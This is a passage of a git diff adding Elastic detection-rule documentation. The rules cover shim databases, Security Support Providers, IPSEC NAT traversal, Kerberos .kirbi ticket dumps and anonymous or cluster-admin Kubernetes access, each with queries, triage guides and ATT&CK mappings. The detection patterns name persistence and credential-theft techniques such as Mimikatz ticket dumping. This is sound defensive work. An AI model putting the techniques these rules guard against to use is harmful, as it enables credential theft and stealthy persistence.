of Custom Shim Databases + +Identifies the installation of custom Application Compatibility Shim databases. This Windows functionality has been abused by attackers to stealthily gain persistence and arbitrary code execution in legitimate Windows processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Installation of Custom Shim Databases* + + +Application Compatibility Shim databases are used in Windows to ensure older applications run smoothly on newer OS versions by applying compatibility fixes. However, attackers can exploit this feature to maintain persistence and execute arbitrary code by installing malicious shim databases. The detection rule identifies changes in specific registry paths associated with these databases, excluding known legitimate processes, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the registry path changes identified in the alert to confirm the presence of any unexpected or unauthorized .sdb files in the specified registry paths. +- Investigate the process that made the registry change by examining the process executable path and comparing it against the list of known legitimate processes excluded in the query. +- Check the historical activity of the process responsible for the change to identify any patterns or anomalies that might indicate malicious behavior. +- Analyze the context around the time of the registry change, including other system events or alerts, to identify any related suspicious activities. +- If a suspicious .sdb file is found, conduct a file analysis to determine its purpose and whether it contains any malicious code or configurations. +- Consult threat intelligence sources to see if there are any known threats or campaigns associated with the identified process or .sdb file. + + +*False positive analysis* + + +- Known legitimate processes such as SAP and Kaspersky applications may trigger false positives due to their use of shim databases. These processes are already excluded in the detection rule to minimize unnecessary alerts. +- If additional legitimate applications are identified as causing false positives, users can update the exclusion list by adding the specific process executable paths to the rule. +- Regularly review and update the exclusion list to ensure it reflects the current environment and any new legitimate applications that may use shim databases. +- Monitor the frequency and context of alerts to distinguish between benign and potentially malicious activities, adjusting the rule as necessary to reduce noise. +- Engage with application owners to verify the legitimacy of processes that frequently trigger alerts, ensuring that only trusted applications are excluded. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further propagation or communication with potential command and control servers. +- Terminate any suspicious processes identified as responsible for the installation of the custom shim database, ensuring they are not legitimate processes mistakenly flagged. +- Remove the malicious shim database entries from the registry paths specified in the detection query to eliminate persistence mechanisms. +- Conduct a thorough scan of the affected system using updated antivirus and endpoint detection tools to identify and remove any additional malware or unauthorized changes. +- Review and restore any altered system configurations or files to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the specified registry paths and associated processes to detect and respond to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\\*.sdb" and + not process.executable : ( + "?:\\Program Files (x86)\\DesktopCentral_Agent\\*\\Setup\\NwSapSetup.exe", + "?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe", + "?:\\Program Files (x86)\\SAP\\SAPsetup\\setup\\NwSapSetup.exe", + "?:\\Program Files (x86)\\SAP\\SapSetup\\OnRebootSvc\\NWSAPSetupOnRebootInstSvc.exe", + "?:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Security for Windows Server\\kavfs.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files (x86)\\DesktopCentral_Agent\\*\\Setup\\NwSapSetup.exe", + "\\Device\\HarddiskVolume*\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\SAP\\SAPsetup\\setup\\NwSapSetup.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\SAP\\SapSetup\\OnRebootSvc\\NWSAPSetupOnRebootInstSvc.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Security for Windows Server\\kavfs.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Application Shimming +** ID: T1546.011 +** Reference URL: https://attack.mitre.org/techniques/T1546/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-installation-of-security-support-provider.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-installation-of-security-support-provider.asciidoc new file mode 100644 index 0000000000..569a93ae6d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-installation-of-security-support-provider.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-21-installation-of-security-support-provider]] +=== Installation of Security Support Provider + +Identifies registry modifications related to the Windows Security Support Provider (SSP) configuration. Adversaries may abuse this to establish persistence in an environment. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Installation of Security Support Provider* + + +Security Support Providers (SSPs) in Windows environments facilitate authentication processes. Adversaries may exploit SSPs by modifying registry entries to maintain persistence or evade defenses. The detection rule identifies suspicious changes to specific registry paths associated with SSPs, excluding legitimate processes like msiexec.exe, to flag potential unauthorized modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific registry path that was modified, focusing on paths related to "HKLM\SYSTEM\*ControlSet*\Control\Lsa\Security Packages" and "HKLM\SYSTEM\*ControlSet*\Control\Lsa\OSConfig\Security Packages". +- Investigate the process responsible for the registry modification by examining the process executable path, ensuring it is not a legitimate process like "C:\Windows\System32\msiexec.exe" or "C:\Windows\SysWOW64\msiexec.exe". +- Check the historical activity of the identified process to determine if it has been involved in other suspicious activities or registry changes. +- Analyze the user account context under which the process was executed to assess if it aligns with expected behavior or if it indicates potential compromise. +- Correlate the event with other security alerts or logs from data sources such as Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context and identify any related malicious activity. +- Evaluate the potential impact of the registry change on system security and persistence mechanisms, considering the MITRE ATT&CK tactic of Persistence and technique T1547. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger registry changes in SSP paths. Users can create exceptions for known software installers or updaters that frequently modify these registry entries. +- System administrators performing routine maintenance or configuration changes might inadvertently cause registry modifications. Document and exclude these activities when they are verified as non-threatening. +- Security software updates, including those from Microsoft or third-party vendors, may alter SSP configurations as part of their normal operation. Monitor and whitelist these updates to prevent false alerts. +- Automated deployment tools or scripts that modify system settings could lead to false positives. Ensure these tools are accounted for and excluded if they are part of regular operations. +- Custom scripts or applications developed in-house that interact with SSP registry paths should be reviewed and excluded if they are deemed safe and necessary for business operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes that are not whitelisted, especially those modifying the registry paths associated with Security Support Providers. +- Restore the modified registry entries to their original state using a known good backup or by manually correcting the entries to remove unauthorized changes. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious software or artifacts. +- Review and update access controls and permissions to ensure that only authorized personnel can modify critical registry paths related to Security Support Providers. +- Monitor the affected system and network for any signs of re-infection or further suspicious activity, focusing on registry changes and process executions. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "Security Packages" and + registry.path : ( + "*\\SYSTEM\\*ControlSet*\\Control\\Lsa\\Security Packages", + "*\\SYSTEM\\*ControlSet*\\Control\\Lsa\\OSConfig\\Security Packages" + ) and + not process.executable : ( + "C:\\Windows\\System32\\msiexec.exe", + "C:\\Windows\\SysWOW64\\msiexec.exe", + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\msiexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\msiexec.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ipsec-nat-traversal-port-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ipsec-nat-traversal-port-activity.asciidoc new file mode 100644 index 0000000000..a388b19ba6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ipsec-nat-traversal-port-activity.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-21-ipsec-nat-traversal-port-activity]] +=== IPSEC NAT Traversal Port Activity + +This rule detects events that could be describing IPSEC NAT Traversal traffic. IPSEC is a VPN technology that allows one system to talk to another using encrypted tunnels. NAT Traversal enables these tunnels to communicate over the Internet where one of the sides is behind a NAT router gateway. This may be common on your network, but this technique is also used by threat actors to avoid detection. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Tactic: Command and Control +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating IPSEC NAT Traversal Port Activity* + + +IPSEC NAT Traversal facilitates secure VPN communication across NAT devices by encapsulating IPSEC packets in UDP, typically using port 4500. While essential for legitimate encrypted traffic, adversaries exploit this to mask malicious activities, bypassing network defenses. The detection rule identifies unusual UDP traffic on port 4500, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the source and destination IP addresses associated with the UDP traffic on port 4500 to determine if they are known or expected within your network environment. +- Analyze the volume and frequency of the detected traffic to assess whether it aligns with typical IPSEC NAT Traversal usage or if it appears anomalous. +- Check for any associated network traffic events in the same timeframe that might indicate a pattern of suspicious activity, such as unusual data transfer volumes or connections to known malicious IP addresses. +- Investigate the endpoint or device generating the traffic to verify if it is authorized to use IPSEC NAT Traversal and if it has any history of security incidents or vulnerabilities. +- Correlate the detected activity with any recent changes in network configurations or security policies that might explain the traffic pattern. +- Consult threat intelligence sources to determine if the destination IP address or domain has been associated with known threat actors or command and control infrastructure. + + +*False positive analysis* + + +- Legitimate VPN traffic using IPSEC NAT Traversal can trigger alerts. Regularly review and whitelist known IP addresses or subnets associated with authorized VPN connections to reduce false positives. +- Network devices or services that rely on IPSEC for secure communication may generate expected traffic on port 4500. Identify and document these devices, then create exceptions in the detection rule to prevent unnecessary alerts. +- Automated backup or synchronization services that use IPSEC for secure data transfer might be flagged. Monitor these services and exclude their traffic patterns if they are verified as non-threatening. +- Some enterprise applications may use IPSEC NAT Traversal for secure communication. Conduct an inventory of such applications and adjust the rule to exclude their traffic after confirming their legitimacy. +- Regularly update the list of known safe IP addresses and services to ensure that new legitimate sources of IPSEC NAT Traversal traffic are promptly excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further potential malicious activity and lateral movement. +- Conduct a thorough analysis of the isolated system to identify any signs of compromise, such as unauthorized access or data exfiltration, focusing on logs and network traffic related to UDP port 4500. +- Block all suspicious IP addresses associated with the detected traffic on port 4500 at the network perimeter to prevent further communication with potential threat actors. +- Review and update firewall and intrusion detection/prevention system (IDS/IPS) rules to ensure they effectively block unauthorized IPSEC NAT Traversal traffic, particularly on UDP port 4500. +- Restore the affected system from a known good backup if any signs of compromise are confirmed, ensuring that all security patches and updates are applied before reconnecting to the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for UDP traffic on port 4500 to detect and respond to any future suspicious activity promptly. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and network.transport:udp and destination.port:4500 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kirbi-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kirbi-file-creation.asciidoc new file mode 100644 index 0000000000..14f823cc8a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kirbi-file-creation.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-kirbi-file-creation]] +=== Kirbi File Creation + +Identifies the creation of .kirbi files. The creation of this kind of file is an indicator of an attacker running Kerberos ticket dump utilities, such as Mimikatz, and precedes attacks such as Pass-The-Ticket (PTT), which allows the attacker to impersonate users using Kerberos tickets. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* winlogbeat-* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kirbi File Creation* + + +Kirbi files are associated with Kerberos, a network authentication protocol used in Windows environments to verify user identities. Adversaries exploit this by using tools like Mimikatz to extract Kerberos tickets, enabling unauthorized access through techniques like Pass-The-Ticket. The detection rule identifies the creation of these files, signaling potential credential dumping activities, by monitoring file creation events with a specific extension on Windows systems. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host where the .kirbi file was created, focusing on the host.os.type field to confirm it is a Windows system. +- Examine the file creation event logs to determine the exact timestamp of the .kirbi file creation and correlate it with other security events around the same time. +- Investigate the user account associated with the file creation event to determine if it is a legitimate user or potentially compromised, using the event data to identify the user. +- Check for any recent logins or authentication attempts on the affected host that may indicate unauthorized access, focusing on unusual or unexpected activity. +- Analyze the process tree and parent processes related to the file creation event to identify any suspicious or unauthorized processes that may have led to the creation of the .kirbi file. +- Look for additional indicators of compromise on the host, such as other suspicious file creations, modifications, or network connections, to assess the scope of the potential breach. +- Consult threat intelligence sources or internal threat databases to determine if the detected activity matches known attack patterns or threat actor behaviors associated with Kerberos ticket dumping. + + +*False positive analysis* + + +- Legitimate administrative tools or scripts that manage Kerberos tickets may create .kirbi files as part of their normal operations. Review the context of the file creation event to determine if it aligns with expected administrative activities. +- Scheduled tasks or automated processes that involve Kerberos ticket management might trigger this rule. Identify and document these processes, and consider creating exceptions for known, benign activities. +- Security software or monitoring tools that interact with Kerberos tickets for auditing or compliance purposes could generate .kirbi files. Verify the source of the file creation and whitelist trusted applications or processes. +- Development or testing environments where Kerberos authentication is being simulated or tested may produce .kirbi files. Ensure these environments are well-documented and apply exclusions where necessary to avoid false alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes associated with Mimikatz or other credential dumping tools to halt ongoing malicious activities. +- Conduct a thorough review of recent authentication logs and Kerberos ticket activity to identify any unauthorized access or ticket usage. +- Reset passwords for all potentially compromised accounts, prioritizing those with elevated privileges, to mitigate the risk of further exploitation. +- Revoke all active Kerberos tickets and force re-authentication for all users to ensure that any stolen tickets are rendered useless. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement enhanced monitoring and logging for Kerberos-related activities to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and file.extension : "kirbi" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-anonymous-request-authorized-by-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-anonymous-request-authorized-by-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..04dfaabdba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-anonymous-request-authorized-by-unusual-user-agent.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-kubernetes-anonymous-request-authorized-by-unusual-user-agent]] +=== Kubernetes Anonymous Request Authorized by Unusual User Agent + +This rule detects when an unauthenticated user request is authorized within the cluster via an unusual user agent. Attackers may attempt to use anonymous accounts to gain initial access to the cluster or to avoid attribution of their activities within the cluster. This rule excludes the /healthz, /livez, /version and /.well-known/oauth-authorization-server endpoints which are commonly accessed anonymously. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Anonymous Request Authorized by Unusual User Agent* + + +Kubernetes, a container orchestration platform, manages workloads and services. It uses authentication to control access. Adversaries might exploit anonymous access to perform unauthorized actions without leaving traces. The detection rule identifies unauthorized access by monitoring audit logs for anonymous requests that are allowed, excluding common health check endpoints, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:kubernetes.audit_logs to identify the context and details of the anonymous request. +- Examine the kubernetes.audit.user.username field to confirm if the request was made by "system:anonymous" or "system:unauthenticated" and assess the potential risk associated with these accounts. +- Analyze the kubernetes.audit.requestURI to determine the target of the request and verify if it is outside the excluded endpoints (/healthz, /livez, /readyz), which could indicate suspicious activity. +- Investigate the source IP address and other network metadata associated with the request to identify the origin and assess if it aligns with known or expected traffic patterns. +- Check for any subsequent or related activities in the audit logs that might indicate further unauthorized actions or attempts to exploit the cluster. + + +*False positive analysis* + + +- Health check endpoints like /healthz, /livez, and /readyz are already excluded, but ensure any custom health check endpoints are also excluded to prevent false positives. +- Regularly scheduled maintenance tasks or automated scripts that use anonymous access for legitimate purposes should be identified and excluded from the rule to avoid unnecessary alerts. +- Some monitoring tools might use anonymous requests for gathering metrics; verify these tools and exclude their specific request patterns if they are known to be safe. +- Development environments might have different access patterns compared to production; consider creating separate rules or exceptions for non-production clusters to reduce noise. +- Review the audit logs to identify any recurring anonymous requests that are part of normal operations and adjust the rule to exclude these specific cases. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized access and potential lateral movement by the adversary. +- Revoke any anonymous access permissions that are not explicitly required for the operation of the cluster, ensuring that all access is authenticated and authorized. +- Conduct a thorough review of the audit logs to identify any unauthorized actions performed by anonymous users and assess the impact on the cluster. +- Reset credentials and access tokens for any accounts that may have been compromised or used in conjunction with the anonymous access. +- Implement network segmentation to limit the exposure of the Kubernetes API server to only trusted networks and users. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters or systems are affected. +- Enhance monitoring and alerting for unauthorized access attempts, focusing on detecting and responding to similar threats in the future. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.user.username:("system:anonymous" or "system:unauthenticated" or not *) and +user_agent.original:(* and not (*kubernetes/$Format)) and +not kubernetes.audit.requestURI:(/healthz* or /livez* or /readyz* or /version or /.well-known/oauth-authorization-server) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc new file mode 100644 index 0000000000..07569e397b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc @@ -0,0 +1,65 @@ +[[prebuilt-rule-8-19-21-kubernetes-anonymous-user-create-update-patch-pods-request]] +=== Kubernetes Anonymous User Create/Update/Patch Pods Request + +This rule detects attempts to create, update, or patch pods by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. Creating, updating, or patching pods is a common activity for attackers to gain access to the cluster and execute commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "kubernetes.audit_logs" and ( + kubernetes.audit.user.username in ("system:anonymous", "system:unauthenticated") or + kubernetes.audit.user.username == null or + kubernetes.audit.user.username == "" + ) and kubernetes.audit.level in ("RequestResponse", "ResponseComplete", "Request") and kubernetes.audit.verb in ("create", "update", "patch") and +kubernetes.audit.objectRef.resource == "pods" + + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-cluster-admin-role-binding-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-cluster-admin-role-binding-created.asciidoc new file mode 100644 index 0000000000..fdc7cde36c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-cluster-admin-role-binding-created.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-kubernetes-cluster-admin-role-binding-created]] +=== Kubernetes Cluster-Admin Role Binding Created + +This rule detects the creation of a RoleBinding or ClusterRoleBinding that grants the cluster-admin ClusterRole, which provides unrestricted access to all Kubernetes resources and represents a high-risk privilege escalation or misconfiguration. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Cluster-Admin Role Binding Created* + + +This rule flags when someone creates a RoleBinding or ClusterRoleBinding that assigns the cluster-admin role, which grants unrestricted control over every Kubernetes resource and enables rapid privilege escalation or persistence. Attackers often abuse a stolen namespace service account to bind it to cluster-admin, then pivot to read secrets, change security controls, or deploy a privileged DaemonSet across all nodes to maintain control. + + +*Possible investigation steps* + + +- Identify who created the binding by reviewing the audit event user identity, groups, source IP, and user agent, and confirm whether it matches an approved admin workflow or automation. +- Inspect the created RoleBinding or ClusterRoleBinding to determine which subject received cluster-admin, whether it targets a service account or external identity, and whether the subject is expected to have cluster-wide privileges. +- Correlate the creator and bound subject with recent authentication events and credential changes to spot compromised accounts, unusual access locations, or use of long-lived tokens. +- Review subsequent Kubernetes audit activity from the same actor or newly privileged subject for rapid follow-on actions such as listing secrets, creating privileged pods/daemonsets, modifying RBAC, or disabling admission controls. +- Validate the change against change management records and repository-based RBAC manifests, and if unauthorized, assess scope by enumerating other recent privileged RBAC grants created around the same time. + + +*False positive analysis* + + +- A cluster bootstrap, upgrade, or recovery workflow legitimately creates or re-creates a ClusterRoleBinding/RoleBinding to `cluster-admin` for a break-glass admin user or core control-plane service account as part of restoring expected RBAC state. +- An approved operational change temporarily grants `cluster-admin` to a namespace service account or automation identity to perform 